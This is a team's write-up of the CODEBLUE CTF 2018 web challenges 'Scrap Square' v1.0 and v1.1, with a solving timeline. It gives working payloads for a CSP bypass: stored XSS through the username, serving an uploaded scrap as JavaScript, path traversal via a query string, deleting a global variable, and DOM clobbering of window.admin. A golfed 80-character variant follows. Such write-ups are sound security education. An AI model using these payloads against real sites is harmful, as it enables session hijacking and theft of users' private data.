CODEBLUE CTF 2018 Quals - Scrap Square v1.0 & v1.1 Writeup
Scrap Square v1.0 - Web
Kamogawa created an application to record memo and he stored a secret memo.
He showed it to Katsuragawa and he learned CSP is cool.
If you find a issue, please report it.URL: http://v10.scsq.task.ctf.codeblue.jp:3000/
Admin browser: Chromium 69.0.3494.0
Source code: src-v1.0.zip
Admin browser: admin.zip
A simple scrap storage service is given with complete source code.
Step 1: XSS and injection of unused JS file
From description the flag is admin's scrap and obviously the "Report this scrap" feature and XSS is the key. CSP is the following.
default-src 'none'; script-src 'self' https://stackpath.bootstrapcdn.com/bootstrap/4.1.1/js/bootstrap.min.js https://code.jquery.com/jquery-3.3.1.min.js http://www.google.com/recaptcha/api.js https://www.gstatic.com/recaptcha/; style-src 'self' https://stackpath.bootstrapcdn.com/bootstrap/4.1.1/css/bootstrap.min.css; img-src 'self'; frame-src https://www.google.com/recaptcha/; connect-src 'self'
So inline script etc won't work at all and we should load valid js file from the same origin. Fortunately, mysterious JS file is found in the source soon.
// app/static/javascripts/periodically-watch-scrap-body-and-report-scrap-automatically-with-banword.js const timer = setInterval(() => { if ($('.scrap-body').length === 0) { return; } clearInterval(timer) if ($('.scrap-body').text().includes(window.banword || '')) { reportScrap() } }, 300)
This file is not loaded into the application. Fortunately, easy XSS can be found in username.
// app/views/scrap.pug extends layout.pug block content div.scrap-wrapper p!= `${user.name}'s scraps'`
Pug's !=
operator embeds string dangerously, and can be easily pissed off. Then we can inject the following code into HTML.
<script src="/static/javascripts/periodically-watch-scrap-body-and-report-scrap-automatically-with-banword.js"></script>
Step 2: Inject arbitrary script
We wondered how scrap body is served. After searching code we can find following code.
// app/src/index.js:102 const staticBaseUri = '/static' const staticDir = path.join(__dirname, '..', 'static') const rawStaticDir = path.join(staticDir, 'raw') app.use(staticBaseUri, express.static(staticDir))
express.static()
serves files statically. This is the feature of express.js and it recognizes file extension. In this case, scrap title is directly used as filename, so we can name scrap "foobar.js" and it is immediately served as Content-Type: text/javascript
.
Now we can upload arbitrary file as script and inject it with username XSS.
<script src="/scraps/raw/<USERID>/foobar.js"></script>
But the limitation is so tense. Body shouldn't match /[^0-9a-zA-Z '.\n\r/-]/
and that's the limitation of our injection script.
Step 3: Hack into the URL parser
Now we can make admin report some scraps to somewhere. The reported scrap is loaded here.
// app/static/javascripts/load-scrap.js const urls = location.href.split('/') const user = urls[urls.length - 2] const title = urls[urls.length - 1] // show title const scrapTitle = $('<h1 class="scrap-title">') scrapTitle.text(title) $('.scrap-header').append(scrapTitle) // show body $.get(`/static/raw/${user}/${title}`) .then(c => { const scrapBody = $('<pre class="scrap-body">') scrapBody.text(c) $('.scrap-wrapper').append(scrapBody) })
location.href.split
seems very dumb, and can be hacked by the following URL.
# Script loads `/scraps/raw/AAAAAAAA/AAAA`, not `/scraps/raw/aaaaaaaa/aaaa` https://http://v10.scsq.task.ctf.codeblue.jp:3000/scraps/aaaaaaaa/aaaa?x/AAAAAAAA/AAAA
And more significantly, replacing it with ..
can load root URL, which includes list of user's scraps.
# Script loads `/scraps/raw/../..` = `/`, not `/scraps/raw/aaaaaaaa/aaaa` https://http://v10.scsq.task.ctf.codeblue.jp:3000/scraps/aaaaaaaa/aaaa?x/../..
Step 4: Deletion of global variable
Then we can load admin's scrap list and call reportScrap()
after them. reportScrap()
is called here.
// app/static/javascripts/report-scrap.js if ($('.scrap-body').text().includes(window.banword || '')) { reportScrap() }
window.banword
is defined as window.banword = 'give me flag'
in config.js. So, that string should be included in target to report that, but seems no chance.
After straggling, we could reset it with following inject code.
delete window.banword
Then the report should be go through unconditionally.
Step 5: Pollution of global variable with form tag
Finally, reportScrap()
is defined as follows.
// app/static/javascripts/report-scrap.js window.reportScrap = (captcha) => { return $.post('/report', { to: window.admin.id, url: location.href, 'g-recaptcha-response': captcha, title: $('.scrap-title').text(), body: $('.scrap-body').text() }) }
If we override window.admin.id
, the report is directed toward us and we can view the content of the report, which happily includes scrap's body.
And id
is the key. We can overwrite window.admin
by the following HTML.
<form id="<USERID>" name="admin"></form>
This HTML defines window.admin
as that form tag, and admin.id
points to its id
attribute, which equals to <USERID>
.
Then we can change the direction of report submission which includes list of admin's scraps. Final hacking procedure is the following.
Register on service, and upload following scrap with title
a.js
delete window.banword delete window.admin
Register another user with the following username (
is the previous user id) <script src="/static/raw/<USERID>/a.js"></script><script src="/static/javascripts/periodically-watch-scrap-body-and-report-scrap-automatically-with-banword.js"></script><form id="<USERID>" name="admin"></form>
Upload some scrap, and add strange query string to that URL.
http://v10.scsq.task.ctf.codeblue.jp:3000/scraps/<USERID2>/foobar?a/../..
Report that page to the admin
Go back to the previous user, and visit
/reports
endpointReport from admin is posted and that includes list of admin's scrap
Content of that scrap is the flag:
CBCTF{k475ur464w4-15_4-n4m3-0f_R1v3r}
Our team was the first that solved. Finally got 389pt with 9 teams solved.
Scrap Square v1.1 - Web
Kamogawa noticed that if the username is too long, it stuck out from the screen in Scrap Square v1.0.
For this reason, he restricted the length of the username more strictly.
- if (req.body.name.length > 300) {
- errors.push('Username should be less than 300')
+ if (req.body.name.length > 80) {
+ errors.push('Username should be less than 80')
URL: http://v11.scsq.task.ctf.codeblue.jp:3000/
Admin browser: Chromium 69.0.3494.0
Source code: src-v1.1.zip
Admin browser (not changed from v1.0): admin.zip
After solving Scrap Square v1.0, the chal v1.1 was revealed immediately. Only two lines of code was updated, which tighten the length limit of XSS injection code.
Step 1: Code golf
Obviously the previous attack code (209 chars) won't work. But we can golf it in some ways.
- Trim quotes and whitespaces
- Use ES module to load periodically-**.js script. That costs
type=module
in attack code but the long file name can be included in a.js. - Reorder tags and omit closing tags
Then the final attack code was the following (just 80 chars).
<img id=ls4w00fp name=admin><script type=module src=/static/raw/ls4w00fp/a.js>/*
Then repeat the previous procedure to get the flag: CBCTF{k4m064w4_d1d-n07-kn0w_7h3r3-4r3_x55}
Our team was the first that solved. Finally got 462pt with 3 teams solved.
Timeline
Many part of the credit goes to my team members. The following timeline describes actions executed to solve this challenge and member who contributed it.
- 20:00 Scrap Square v1.0 revealed
- 21:02 @hakatashi found the strange restriction of scrap title naming, especially the usage of
.
- This led me to the suspection of the existence of any directory traversal, but that totally missed the point.
- 21:36 @hakatashi found title name of scrap can control Content-Type of raw scrap body, because of
express.static()
behavior - 21:40 @lmt_swallow found
import '/foobar.js'
is useful for loading another JS files - 22:09 @kcz146 found XSS in username
- 22:30 @kcz146 conceived the possibility of illegal scrap body submission by the combination of periodically-**.js and global variable pollution
- 22:48 @hakatashi found dumb URL parsing in load-scrap.js and hack with query string
- 22:49 @kcz146 immediately conceived the clever hack with
?/../..
- After this we stuck at global variable pollution. We all think of pollution by ES module import, but that missed the point.
- 23:12 @kurgm conceived the idea of global variable pollution by
<form id="foobar">
- 23:30 @kurgm conceived the idea of global variable override by
delete window.admin
- 23:45 @hakatashi solved chal and submitted flag
- 23:50 Scrap Square v1.1 revealed
- For us, the application of ES module is very natural and we golfed for a while... and that is not so difficult (We all are golfing expert😂)
- 00:30 Hacking code beat the 80 chars limit
- 00:34 @lmt_swallow solved chal and submitted flag
My thoughts
That was brilliant challenge😆. So difficult, but I enjoyed the combination of XSS, extension hack, and global pollution etc. Many thanks to the editor @tyage.
As for v1.1, I feel the chal was not so much of v1.0 and just a golfing matter. But still nice with requirements of deep knowledge of modern javascript. Thanks!